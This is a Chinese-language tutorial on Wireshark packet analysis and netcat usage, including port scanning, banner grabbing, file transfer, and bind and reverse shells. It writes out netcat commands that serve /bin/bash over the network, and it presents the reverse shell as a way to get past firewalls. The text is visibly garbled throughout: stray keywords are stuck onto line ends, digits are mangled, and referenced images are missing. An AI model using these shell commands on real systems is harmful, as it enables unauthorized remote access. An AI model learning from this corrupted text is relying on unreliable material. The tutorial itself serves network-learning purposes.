Wireshark是一個網絡數據包分析軟件,功能是截取網絡數據包,並儘量顯示出最爲詳細的網絡數據包數據。爲了安全考慮,wireshark只能查看封包,而不能修改封包的內容,或者發送封包。linux
界面shell
抓包獲取數組
點擊捕獲->設置,設置混雜模式,選中須要監聽的接口,點擊「開始」,開始捕獲數據:安全
過濾bash
兩者語法異同點詳見:wireshark的顯示過濾器和捕捉過濾器服務器
點擊捕獲->捕獲過濾器,進行捕獲設置(能夠本身添加刪除)。經常使用過濾包括IP過濾(如:ip.addr == x.x.x.x,ip.src == x.x.x.x,ip.dst == x.x.x.x)、協議過濾(如:HTTP、HTTPS、SMTP、ARP等)、端口過濾(如:tcp.port == 2一、udp.port == 53)、組合過濾(如:ip.addr == x.x.x.x && tcp.port == 2一、tcp.port== 21 or udp.port==53)。網絡
顯示過濾器在以下所示位置:tcp
着色規則工具
在數據包列表區域會看到不一樣的顏色。wireshark可讓你指定條件,把符合條件的數據包按指定的顏色顯示。
點擊視圖->着色規則,彈出設置顏色規則設置對話框:學習
封包詳細信息
各行信息分別爲
ip統計
點擊統計->對話,就能夠統計出所在數據包中全部通訊IP地址,包括IPV4和IPV6。
協議統計
點擊統計->協議分級,就能夠統計出所在數據包中所含的IP協議、應用層協議:
Follow TCP Stream
對於TCP協議,可提取一次會話的TCP流進行分析。點擊某幀TCP數據,右鍵選擇追蹤流->TCP流:
能夠看到這個窗口中的文字會有兩種顏色。其中紅色用於表示從源地址到目標地址的流量。最開始的紅色部分是一個GET請求。藍色部分是和紅色部分相反的方向,也就是從目標地址到源地址的流量。藍色部分的第一行是「HTTP/1.1 200 OK」,是來自服務器的一個http成功響應。
在這個窗口中除了可以看到這些原始數據,還能夠在文本間進行搜索,將其保存成一個文件、打印,或者以ASCII碼、EBCDIC、十六進制或者C數組的格式去查看。
HTTP頭部分析
對於HTTP協議,WireShark能夠提取其URL地址信息。
點擊統計->HTTP->分組計數器,就能夠統計出HTTP會話中請求、應答包數量:
點擊統計->HTTP->請求,就能夠統計出HTTP會話中Request的域名,包括子域名:
點擊統計->HTTP->負載分配,就能夠統計出HTTP會話的IP、域名分佈狀況,包括返回值:
這只是Wireshark最基礎的功能,用WireShark分析攻擊行爲纔是重中之重,後期將進行深刻學習,詳見WireShark教程 - 黑客發現之旅。
netcat是網絡工具中的瑞士軍刀,它能經過TCP和UDP在網絡中讀寫數據。netcat所作的就是在兩臺電腦之間創建連接並返回兩個數據流。
端口掃描
打印21到25全部開放的端口:
能夠運行在TCP或者UDP模式,默認是TCP,-u參數調整爲udp. -z: 告訴netcat使用0 IO,鏈接成功後當即關閉鏈接,不進行數據交換 -v: 詳細輸出 -n: 不使用DNS解析
小Tips:通常若是後面是跟ip的話,就帶上-n參數;跟着是域名的話,就不帶-n參數。
一旦發現開放的端口,可使用netcat 鏈接服務抓取他們的banner:
banner是一個文本,banner是一個鏈接的服務發送回來的文本信息。當試圖鑑別漏洞或者服務的類型和版本的時候,banner信息是很是有用的。但並非全部的服務都會發送 banner。
聊天服務
服務器:
nc -l -p 20000 -l:指明netcat處於監聽模式, -p:指定源端口號
客戶機:
nc -n 10.43.42.5 20000
netcat在服務器的20000端口啓動了一個tcp服務器,全部的標準輸出和輸入會輸出到該端口。輸出和輸入都在此shell中展現。
文件傳輸
FTP,SCP,SMB均可以傳輸文件,可是隻是須要臨時或者一次傳輸文件,不值得安裝配置一個軟件到機器上。現有機器A 192.168.199.139,機器B 192.168.199.161,A向B傳輸文件:
服務器(A):
$nc -l -p 20000 < 1.txt
客戶機(B):
$nc -n 192.168.199.139 > 1.txt
在A上建立了一個服務器而且重定向netcat的輸入爲文件1.txt,當任何成功鏈接到該端口,netcat會發送1.txt的文件內容。
一樣也可讓A做爲客戶端,B做爲服務器。
Server B:
nc -l -p 20000 > 1.txt
Client A:
nc -n 192.168.199.161 20000 < 1.txt
目錄傳輸
若是想要發送多個文件或者整個目錄,只須要使用壓縮工具tar,壓縮後發送壓縮包。
服務器:
tar -cvf - ./test/ | nc -l -p 20000 建立一個tar歸檔包而且經過-在控制檯重定向它
客戶機:
nc -n 192.168.199.139 20000 | tar -xvf -
正向shell
現要在A機器上打開B機器的shell,應把A當成Client,把B當成Server,在B上監聽輸入的鏈接,等A連入後就可操做B的shell:
服務器:
nc -l -p 20000 -e /bin/bash 表示當鏈接成功時執行/bin/bash
客戶機:
nc -n 192.168.199.161 20000
反向shell
使用正向shell時,若是防火牆屏蔽了輸入,只容許輸出,那麼這時候就是反向shell發揮做用的時候了。
反向shell的作法是把A當成netcat的Server,把B當成netcat的Client,而後在A上用-l參數監聽netcat的連接。
服務器:
nc -l -p 20000
客戶機:
nc -n 192.168.199.139 20000 -e /bin/bash
而後在A上執行shell命令,就能夠至關於B的遠程shell了:
反向shell常常被用來繞過防火牆的限制,如阻止入站鏈接。例若有一個專用IP地址爲192.168.199.139,使用代理服務器鏈接到外部網絡。若是想從網絡外部訪問這臺機器shell,那麼就會用反向外殼用於這一目的。